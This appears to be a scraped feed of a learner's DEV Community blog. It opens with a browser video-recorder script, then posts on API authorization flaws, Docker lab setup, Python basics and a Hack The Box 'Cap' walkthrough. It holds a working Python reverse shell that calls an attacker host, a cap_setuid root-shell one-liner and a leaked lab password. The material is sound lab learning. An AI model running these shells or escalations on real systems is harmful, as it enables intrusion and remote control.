  const audioTrack=procDest.stream.getAudioTracks()[0];
  const combined=new MediaStream([...canvasStream.getVideoTracks(),audioTrack]);
  const mime=MediaRecorder.isTypeSupported('video/webm;codecs=vp9,opus')?'video/webm;codecs=vp9,opus':'video/webm';
  mediaRecorder=new MediaRecorder(combined,{mimeType:mime,videoBitsPerSecond:2500000});
  recordedChunks=[];
  mediaRecorder.ondataavailable=e=>{if(e.data.size>0)recordedChunks.push(e.data);};
  mediaRecorder.onstop=()=>{
    S.hasRec=true;
    window._blob=new Blob(recordedChunks,{type:'video/webm'});
    document.getElementById('exportBtn').disabled=false;
    document.getElementById('playBtn').disabled=false;
    setStatus('Video ready — export or preview!','ok');
  };
  mediaRecorder.start(100);
  isRecording=true; S.isRec=true; startTime=Date.now();
  document.getElementById('recBtn').className='rec-btn recording';
  document.getElementById('recBtn').textContent='⏹';
  document.getElementById('phoneRing').classList.add('rec');
  document.getElementById('liveInd').classList.add('show');
  document.getElementById('timerDisp').classList.add('rec');
  document.getElementById('timerSub').textContent='Recording — speak naturally';
  setStatus('Recording 9:16 video live...','ok');
  timerInt=setInterval(()=>{
    const s=Math.floor((Date.now()-startTime)/1000);
    document.getElementById('timerDisp').textContent=Math.floor(s/60)+':'+String(s%60).padStart(2,'0');
  },1000);
}

function stopRecording(){
  isRecording=false; S.isRec=false; S.energy=0;
  clearInterval(timerInt);
  document.getElementById('recBtn').className='rec-btn done';
  document.getElementById('recBtn').textContent='🎙️';
  document.getElementById('phoneRing').classList.remove('rec');
  document.getElementById('liveInd').classList.remove('show');
  document.getElementById('timerDisp').classList.remove('rec');
  document.getElementById('timerSub').textContent='Recording complete';
  if(mediaRecorder&&mediaRecorder.state!=='inactive') mediaRecorder.stop();
}

function playback(){
  if(!window._blob) return;
  const url=URL.createObjectURL(window._blob);
  const v=document.createElement('video');
  v.src=url; v.controls=true; v.autoplay=true;
  v.style.cssText='position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);z-index:300;max-height:90vh;border-radius:16px;background:#000;box-shadow:0 0 0 1px rgba(255,255,255,.1),0 32px 64px rgba(0,0,0,.8)';
  const ov=document.createElement('div');
  ov.style.cssText='position:fixed;inset:0;z-index:299;background:rgba(0,0,0,.8)';
  ov.onclick=()=>{v.remove();ov.remove();};
  document.body.append(ov,v);
}

async function exportVideo(){
  if(!window._blob) return;
  document.getElementById('procOverlay').classList.add('show');
  document.getElementById('procFill').style.width='0%';
  await prog(25,'Packaging video stream...');
  await prog(60,'Encoding audio + video...');
  await prog(90,'Finalising file...');
  await prog(100,'Done!');
  setTimeout(()=>{
    document.getElementById('procOverlay').classList.remove('show');
    const url=URL.createObjectURL(window._blob);
    const a=document.createElement('a');
    a.href=url; a.download='voicereel-9x16-'+Date.now()+'.webm'; a.click();
    setStatus('Downloaded! Open in iMovie to export as MP4.','ok');
  },300);
}

async function prog(pct,msg){
  document.getElementById('procFill').style.width=pct+'%';
  document.getElementById('procSub').textContent=msg;
  await new Promise(r=>setTimeout(r,380));
}

function setStatus(msg,type){
  const el=document.getElementById('statusBar');
  el.textContent=msg;
  el.className='status-bar'+(type?' '+type:'');
}

function clearAll(){
  if(isRecording) stopRecording();
  window._blob=null; recordedChunks=[];
  S.hasRec=false; S.isRec=false; S.energy=0; S.energySmooth=0;
  document.getElementById('exportBtn').disabled=true;
  document.getElementById('playBtn').disabled=true;
  document.getElementById('timerDisp').textContent='0:00';
  document.getElementById('timerDisp').classList.remove('rec');
  document.getElementById('timerSub').textContent='Ready to record';
  document.getElementById('recBtn').className='rec-btn ready';
  document.getElementById('recBtn').textContent='🎙️';
  setStatus('Cleared. Ready for next take.','');
}

window.addEventListener('load',()=>{ initMic(); draw(); });
</script>
</body>
</html>

API Testing Lesson: Sometimes the Documentation is the Vulnerability

tamilvanan — Fri, 13 Mar 2026 14:35:38 +0000

While practicing API security labs, I came across a simple but important lesson about how attackers explore APIs.

Modern web applications rely heavily on APIs. When a user performs an action in the interface, the browser sends a request to the backend API.

For example, updating an email address might send a request like:

PATCH /api/user/wiener

This simply tells the server: update the user wiener.

When you intercept such a request during testing, you can start exploring the API structure by moving through the path hierarchy:

/api/user/wiener → specific user
/api/user → user resource
/api → base API

In this lab, requesting /api revealed the application's API documentation.

The documentation listed all available endpoints supported by the backend. One of them was:

DELETE /api/user/{username}

This endpoint allows deleting a user.

The website interface never exposed this functionality, but the API still supported it. Because the API did not enforce proper authorization, even a normal user could send:

DELETE /api/user/carlos

The server accepted the request and deleted the user carlos.

Key lesson:
In modern applications, the API is the real control layer. If security checks exist only in the UI and not in the API, attackers can bypass the interface and directly interact with backend functionality.

Simple API testing habit:

• Intercept API requests
• Understand the endpoint structure
• Explore higher-level paths like /api
• Look for exposed documentation
• Test additional HTTP methods

Sometimes exploitation doesn't require complex techniques — it simply requires discovering what the API already allows.

Running Parrot Core (Minimal / No Bloat) Inside My Debian

tamilvanan — Tue, 27 Jan 2026 14:59:51 +0000

Docker image

parrotsec/core

This is true Parrot Core.

✅ Goal

Create a single command:

parrot

✅ Step-by-Step (from creating the file)

1️⃣ Create the command file

Create a system-wide executable:

sudo nano /usr/local/bin/parrot

2️⃣ Paste this script (CORE ONLY)

#!/usr/bin/env bash
set -e

CONTAINER="parrot-core"
IMAGE="parrotsec/core"

# Check Docker exists
if ! command -v docker >/dev/null 2>&1; then
  echo "[!] Docker not installed"
  exit 1
fi

# Pull Parrot Core image if missing
if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
  echo "[*] Pulling Parrot CORE (no bloat)..."
  docker pull "$IMAGE"
fi

# Create container once (if not exists)
if ! docker container inspect "$CONTAINER" >/dev/null 2>&1; then
  echo "[*] Creating minimal Parrot CORE container..."
  docker create -it \
    --name "$CONTAINER" \
    --hostname parrot \
    --network host \
    -v "$HOME:/host" \
    "$IMAGE" \
    bash
fi

# Start and attach
exec docker start -ai "$CONTAINER"

Save and exit.

3️⃣ Make it executable (once)

sudo chmod +x /usr/local/bin/parrot

4️⃣ Run Parrot Core

parrot

You are now inside Parrot Security OS (core only).

Install OWASP Juice Shop in Docker

tamilvanan — Thu, 04 Sep 2025 08:25:49 +0000

Pull the Juice Shop image:

docker pull bkimminich/juice-shop

Run it on port 3000 (so it won’t conflict with anything else):

docker run -d -p 3000:3000 bkimminich/juice-shop

Access in browser:

http://localhost:3000

Learning Reverse Shells with Python in a Virtual Lab

tamilvanan — Mon, 18 Aug 2025 14:50:05 +0000

Note: I’m not an expert. I’m writing this blog just to document my learning journey. 🚀

This guide shows how to set up a Python-based reverse shell between two Linux VMs for safe testing in a controlled lab.

Lab Setup

VM 1 – Attacker: Linux
VM 2 – Target: Linux
Both VMs should be on the same network.

Step 1: Attacker VM

Start a listener using Netcat:

nc -l -p 4444

Step 2: Target VM

Create a Python script (reverse_shell.py):

#!/usr/bin/env python3
import socket
import subprocess

attacker_ip = "ATTACKER_VM_IP"
port = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((attacker_ip, port))

while True:
    command = s.recv(1024).decode()
    if command.lower() == "exit":
        break
    output = subprocess.getoutput(command)
    s.send(output.encode())

s.close()

Replace ATTACKER_VM_IP with the attacker VM’s IP and run:

python3 reverse_shell.py

Step 3: Using the Reverse Shell

On the attacker VM, type commands like:

ls
whoami
pwd

Type exit to close the connection.

This is a concise lab setup for testing Python reverse shells safely between VMs.

Enable +C / +V in XFCE Terminal on Debian 11 (UTM)

tamilvanan — Fri, 15 Aug 2025 07:01:28 +0000

By default, XFCE Terminal uses Ctrl+Shift+C/V for copy/paste, which is awkward on a Mac keyboard in UTM.
Here’s how to make ⌘+C / ⌘+V work without breaking Ctrl+C cancel.

1. Close XFCE Terminal.

2. Edit shortcuts file:

nano ~/.config/xfce4/terminal/accels.scm

**3. Add these lines :

(gtk_accel_path "<Actions>/terminal-window/copy" "<Primary><Shift>c")
(gtk_accel_path "<Actions>/terminal-window/copy" "<Super>c")
(gtk_accel_path "<Actions>/terminal-window/paste" "<Primary><Shift>v")
(gtk_accel_path "<Actions>/terminal-window/paste" "<Super>v")

4. Save, exit, restart the machine and reopen XFCE Terminal.

✅ Now ⌘+C copies, ⌘+V pastes, and Ctrl+C still cancels.

Hack The Box Walkthrough: Cap (10.10.10.245)

tamilvanan — Tue, 15 Jul 2025 06:04:08 +0000

Note: I’m not an expert. I’m writing this blog just to document my learning journey. 🚀

Overview

Difficulty: Easy

Goal: Capture user.txt and root.txt flags

Focus Areas: PCAP analysis, FTP credential sniffing, capability-based privilege escalation

1. Reconnaissance

Nmap Scan

nmap -A 10.10.10.245 -oN cap.nmap

Findings:

Port 21 (FTP): Open
Port 22 (SSH): Open
Port 80 (HTTP): Web server with a scan tool

2. Web Enumeration

Visit http://10.10.10.245 in your browser.

Observe Functionality

You can run a "Security Snapshot" which redirects to /data/[scan_id]
Example path: /data/0

Try Other Scan IDs

Visit /data/1, /data/2, etc.
Observation: You can access other users' scans.

3. Analyze PCAP File

From one of the /data/[id] paths (likely /data/0), download a .pcap file.

Save it as 1.pcap

Open in Wireshark

wireshark 1.pcap

Apply Filter

Use Wireshark filter:

ftp

Find Credentials

Look for:

USER nathan
PASS [password]

Right-click and follow the TCP stream to view the full conversation.

Suppose you find:

USER nathan
PASS [password]

4. SSH Access as Nathan

Use the FTP password to try SSH:

ssh nathan@10.10.10.245

Use the discovered password: cap@123

Get User Flag

cat ~/user.txt

✅ User flag captured

5. Privilege Escalation

Check for SUID/Capabilities

getcap -r / 2>/dev/null

What Does `getcap` Mean?

The getcap command lists Linux file capabilities, which are fine-grained permissions that can be assigned to executables.

getcap -r / 2>/dev/null

r /: Recursively check every file starting from root (/)
2>/dev/null: Hides "Permission denied" errors to keep output clean

You're looking for binaries with powerful capabilities like cap_setuid, which lets a program change its user ID (e.g., become root). If a binary like python3.8 has this capability, it can be abused to spawn a root shell.

These capabilities are separate from traditional SUID bits and are often overlooked.

Output Example

/usr/bin/python3.8 = cap_setuid+ep

Explanation

This means python3.8 has the capability to change its UID — can be used to become root.

Exploit It

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Now check:

whoami
# root

Get Root Flag

cat /root/root.txt

✅ Root flag captured

Summary

Step	Description
Recon	Nmap scan reveals FTP, SSH, HTTP
Web Enum	Snapshot data exposed at `/data/0`
PCAP	FTP creds leaked in packet capture
User Shell	SSH access with FTP creds
Priv Esc	Python binary with `cap_setuid` lets us become root

Flags

User Flag: Obtained from /home/nathan/user.txt
Root Flag: Obtained from /root/root.txt

Lessons Learned

PCAPs can leak sensitive data if not secured
FTP transmits credentials in plaintext
Linux capabilities can be as dangerous as SUID if misconfigured
Always restrict access to debug or internal diagnostic tools

Shell scripting -001

tamilvanan — Mon, 14 Jul 2025 03:22:39 +0000

Note: I’m not an expert. I’m writing this blog just to document my learning journey. 🚀

🧠 What is a Shell Script?

A shell script is a text file containing a sequence of shell commands that are executed one after another, as if you were typing them into a terminal.

It uses a shell (like bash, sh, or zsh) as the program that interprets and runs the commands.

🧩 Key Concepts

🔹 1. Shell = Command-Line Interpreter

The shell is a program that takes user input and executes commands.

Example shells: bash, zsh, fish, dash, sh
They understand commands like cd, ls, echo, cp, etc.
Shells can also run scripts — a file with a list of commands.

🔹 2. Shell Script = Text File of Commands

A shell script is just a plain text file with:

A shebang (#!)
A list of commands
Optional logic (if, loops, functions)

#!/bin/bash
echo "Hello, world!"

The first line (#!/bin/bash) tells the system to use the bash shell to interpret the file.
Each line is executed top to bottom, like typing into the terminal.

🔹 3. Variables, Conditions, and Loops

Shell scripts become powerful because they support programming logic:

📦 Variables:

name="Computer"
echo "Hello, $name"

🔁 Loops:

for file in *.txt; do
  echo "Processing $file"
done

❓ Conditionals:

if [ "$name" = "Computer" ]; then
  echo "Welcome back!"
fi

🔹 4. Exit Codes and Errors

Every command returns an exit code:

0 = success
non-zero = error

You can check:

if [ $? -ne 0 ]; then
  echo "The last command failed!"
fi

Or use set -e to make the script stop on any error.

🔹 5. Execution

Make the script executable:

chmod +x myscript.sh
./myscript.sh

Or run it like:

bash myscript.sh

🧠 Final Definition

A shell script is a plain text file that contains a structured sequence of commands written for a shell interpreter. It allows automation of tasks by combining built-in shell functionality (variables, conditionals, loops) with standard system commands. The script is executed line-by-line, and each command’s success or failure affects the flow of execution.

Learn Linux - 002

tamilvanan — Wed, 09 Jul 2025 07:27:50 +0000

Note: I’m not an expert. I’m writing this blog just to document my learning journey. 🚀

🚀 What is Linux?

✅ First Principles:

Linux is an operating system — the core software that lets you control a computer’s hardware, run programs, and manage files.

Just like Windows or macOS, Linux:

Boots the system
Manages memory and processes
Lets you open programs, connect to the internet, and store files

But Linux is different:

It's open source (you can see and change its code)
It’s modular and customizable
It’s used widely in servers, cybersecurity, embedded systems, and more

🧠 Why Learn Linux?

Most servers and cloud machines run Linux
Most CTFs, ethical hacking, and development tools are built for Linux
Learning Linux teaches you how computers really work

🧱 Linux Structure (What It's Made Of)

Linux has 4 major layers:

Kernel
The core of Linux. It talks to the hardware (CPU, memory, devices).
Shell
The command-line interface (like Bash or Zsh). You type commands here.
Filesystem
A hierarchy of folders/files starting from / (called "root").
User space
All the programs you run: browsers, editors, servers, etc.

📁 Linux Filesystem: Not C:\ Drive

In Linux, everything is a file or directory. There's no "C drive".

/
├── bin       → essential commands
├── home      → users' personal files
│   └── yourname/
├── etc       → config files
├── var       → logs, variable data
├── tmp       → temporary files
├── usr       → user programs and libraries
└── root      → root user’s home

🔤 Basic Commands (with Meaning)

Here are essential Linux commands — not just what they do, but why.

📂 File Navigation

pwd           # print working directory
cd /path/     # change directory
ls            # list files

📁 Working with Files

touch file.txt          # create a new empty file
mkdir newfolder         # make a directory
rm file.txt             # delete a file
rmdir folder            # delete a folder
mv old.txt new.txt      # rename or move
cp file.txt copy.txt    # copy files

📄 Viewing Content

cat file.txt      # show file contents
less file.txt     # view long files
head file.txt     # first 10 lines
tail file.txt     # last 10 lines

👤 Linux Users and Permissions

Users

root: superuser with full power
Regular users: limited power, safer

Permissions

Every file has:

Owner, Group, and Others
Read (r), Write (w), Execute (x) permissions

ls -l

Example:

-rwxr-xr--  1 user group 1234 file.sh

Means:

Owner can read/write/execute
Group can read/execute
Others can only read

🔧 Installing Software (Debian/Ubuntu style)

sudo apt update
sudo apt install nmap

sudo: run as root
apt: package manager
install: download and setup software

🧠 Mental Model: Everything Is a Command

In Linux:

You don’t click — you command
Even graphical apps are wrappers around terminal commands
You gain power through understanding, not clicking

✅ Summary: What You Should Know Now

Concept	Why It Matters
Linux is modular	You can control and customize everything
Shell & terminal	Interface to run commands, scripts
Filesystem	Understand where everything lives
Permissions	Secure access and prevent errors
Package manager	Easily install/update/remove tools

Learn Python 003

tamilvanan — Wed, 09 Jul 2025 06:07:37 +0000

Note: I’m not an expert. I’m writing this blog just to document my learning journey. 🚀

1. 🔁 Functions with Parameters and Return Values

So far, you’ve seen this:

def greet(name):
    print("Hello,", name)

But functions can also return values:

def square(x):
    return x * x

result = square(5)
print(result)  # 25

✅ What's new here:

return sends a result back from the function.
Now you can use the result later in your code.

🧠 Why it matters:

Functions become tools.
Instead of just doing something, they calculate and give back answers.

2. 📚 Lists — Storing Many Items Together

A list is a sequence of items.

fruits = ["apple", "banana", "cherry"]

You can:

print(fruits[0])         # "apple"
print(len(fruits))       # 3
fruits.append("orange")  # Add new item

You can loop over lists:

for fruit in fruits:
    print(fruit)

🧠 Why it matters:

Lists let you work with collections — shopping carts, scores, to-do items.

3. 🔍 Useful List Tricks

numbers = [10, 20, 30, 40]

print(sum(numbers))         # 100
print(max(numbers))         # 40
print(min(numbers))         # 10
numbers.sort()              # sort in place

🧠 These built-in tools save time and reduce errors.

4. 🗂️ Dictionaries — Store Things by Name

A dictionary stores values using keys (names) instead of positions.

person = {
    "name": "Alice",
    "age": 30,
    "city": "Chennai"
}

Access values like this:

print(person["name"])  # "Alice"

Add or change values:

person["job"] = "Developer"

Loop over keys and values:

for key, value in person.items():
    print(key, "→", value)

🧠 Why it matters:

Use dictionaries when names, not positions, are important — like in a user profile or a config file.

5. 🤯 Bonus: Nesting — Lists Inside Dictionaries, and More

You can mix them:

student = {
    "name": "Karthik",
    "marks": [85, 90, 92]
}

average = sum(student["marks"]) / len(student["marks"])
print(student["name"], "has average:", average)

🧠 Why it matters:

You can model real-world structures in your code. This is how you move toward real applications.

✅ Summary: What You Learned in 003

Concept	What You Can Do
`return`	Make functions give back values
`list`	Store and process groups of values
List tools	Use built-ins like `sum()`, `sort()`, etc.
`dict`	Store values with named keys
Nesting	Combine data types to model real scenarios

Learn Python 002

tamilvanan — Wed, 09 Jul 2025 05:47:48 +0000

Note: I’m not an expert. I’m writing this blog just to document my learning journey. 🚀

🧠 What is Python?

Python is a programming language. But what does that really mean?

✅ First Principles:

A programming language is a system of precise instructions we give to computers so they can solve problems automatically.

Python was designed to make this system of instructions:

Simple to read
Easy to write
Powerful enough to solve real problems

🪜 Step-by-Step Python Basics (Ground-Up)

1. 🖨️ `print()` — The First Tool

✅ What is it?

print() tells the computer to display something — it’s your first way to talk back to the user (or yourself).

print("Hello, world!")

🧠 Why it matters:

Programming is invisible — the computer won’t tell you what it’s thinking.
print() helps you see what’s happening in your code.
It's like debugging with a flashlight.

2. 🧺 Variables — Naming Your Data

✅ What is a variable?

A variable is a name for a piece of data.

name = "Alice"
age = 25

name is a label
"Alice" is a string
age is a label for the number 25

🧠 Why it matters:

You can’t solve problems if you can’t remember things.
Variables are how a program stores memory.

3. 🧠 Data Types — What Kinds of Data Can We Use?

Type	Example	What it Represents
`int`	`10`	Whole numbers
`float`	`3.14`	Decimal numbers
`str`	`"Hello"`	Text (string of characters)
`bool`	`True`/`False`	Logical values
`list`	`[1, 2, 3]`	Sequence of values
`dict`	`{"a": 1}`	Key-value pairs

🧠 Why it matters:

Each data type tells Python what kind of operations it can do:

int and float can be added/subtracted
str can be joined ("Hello" + " World")
list and dict can be looped over, indexed, and changed

4. 🔁 Control Flow — Making Decisions

✅ Problem: How do we tell Python to choose?

age = 17

if age >= 18:
    print("You are an adult.")
else:
    print("You are a minor.")

🧠 Why it matters:

Programming is not linear.
You need to say “Do this only if that is true.”

Control flow gives you:

if: run if condition is true
else: run if not
elif: try another condition if the first fails

5. 🔂 Loops — Doing Something Repeatedly

✅ Problem: I want to do the same task many times

for i in range(5):
    print(i)

range(5) means: 0, 1, 2, 3, 4
i is the variable that changes each time
print(i) happens once per loop

🧠 Why it matters:

Computers are good at repetition.
Don’t repeat yourself — loop instead.

6. 🧪 Input — Talk to the User

name = input("What is your name? ")
print("Hello,", name)

input() pauses and waits for the user to type
The result is always a str

🧠 Why it matters:

Good programs are interactive.
Input lets your code respond to human action.

7. 🧮 Real-World Program Example

Convert Celsius to Fahrenheit

c = float(input("Enter temperature in Celsius: "))
f = (c * 9 / 5) + 32
print("Fahrenheit:", f)

This uses:

Input
Type conversion (float)
Math
Output

🧠 Why it matters:

Programming turns formulas into tools.

8. 🧱 Functions — Reusable Logic

def greet(name):
    print("Hello,", name)

greet("Alice")
greet("Bob")

def creates a new function
greet() calls it

🧠 Why it matters:

Repetition is wasteful.
If a task happens often, turn it into a function.

✅ Summary: What You Now Know

Concept	What It Solves
`print()`	See what your program is doing
Variables	Store data with a name
Data Types	Work with different kinds of values
`if/else`	Make decisions
`for` loops	Repeat actions
`input()`	Get user input
Functions	Reuse logic

DEV Community: tamilvanan

The Part CTF Writeups Don’t Teach

From Voice to Video — A Minimal Tool for Effortless Content Creation

API Testing Lesson: Sometimes the Documentation is the Vulnerability

Running Parrot Core (Minimal / No Bloat) Inside My Debian

✅ Goal

✅ Step-by-Step (from creating the file)

1️⃣ Create the command file

2️⃣ Paste this script (CORE ONLY)

3️⃣ Make it executable (once)

4️⃣ Run Parrot Core

Install OWASP Juice Shop in Docker

Learning Reverse Shells with Python in a Virtual Lab

This guide shows how to set up a Python-based reverse shell between two Linux VMs for safe testing in a controlled lab.

Lab Setup

Step 1: Attacker VM

Step 2: Target VM

Step 3: Using the Reverse Shell

Enable +C / +V in XFCE Terminal on Debian 11 (UTM)

Hack The Box Walkthrough: Cap (10.10.10.245)

Overview

1. Reconnaissance

Nmap Scan

2. Web Enumeration

Observe Functionality

Try Other Scan IDs

3. Analyze PCAP File

Open in Wireshark

Apply Filter

Find Credentials

4. SSH Access as Nathan

Get User Flag

5. Privilege Escalation

Check for SUID/Capabilities

What Does getcap Mean?

Output Example

Explanation

Exploit It

Get Root Flag

Summary

Flags

Lessons Learned

Shell scripting -001

🧠 What is a Shell Script?

🧩 Key Concepts

🔹 1. Shell = Command-Line Interpreter

🔹 2. Shell Script = Text File of Commands

🔹 3. Variables, Conditions, and Loops

📦 Variables:

🔁 Loops:

❓ Conditionals:

🔹 4. Exit Codes and Errors

🔹 5. Execution

🧠 Final Definition

Learn Linux - 002

🚀 What is Linux?

✅ First Principles:

🧠 Why Learn Linux?

🧱 Linux Structure (What It's Made Of)

Linux has 4 major layers:

📁 Linux Filesystem: Not C:\ Drive

🔤 Basic Commands (with Meaning)

📂 File Navigation

📁 Working with Files

📄 Viewing Content

👤 Linux Users and Permissions

Users

Permissions

🔧 Installing Software (Debian/Ubuntu style)

🧠 Mental Model: Everything Is a Command

✅ Summary: What You Should Know Now

Learn Python 003

1. 🔁 Functions with Parameters and Return Values

2. 📚 Lists — Storing Many Items Together

3. 🔍 Useful List Tricks

4. 🗂️ Dictionaries — Store Things by Name

5. 🤯 Bonus: Nesting — Lists Inside Dictionaries, and More

✅ Summary: What You Learned in 003

Learn Python 002

🧠 What is Python?

What Does `getcap` Mean?

1. 🖨️ `print()` — The First Tool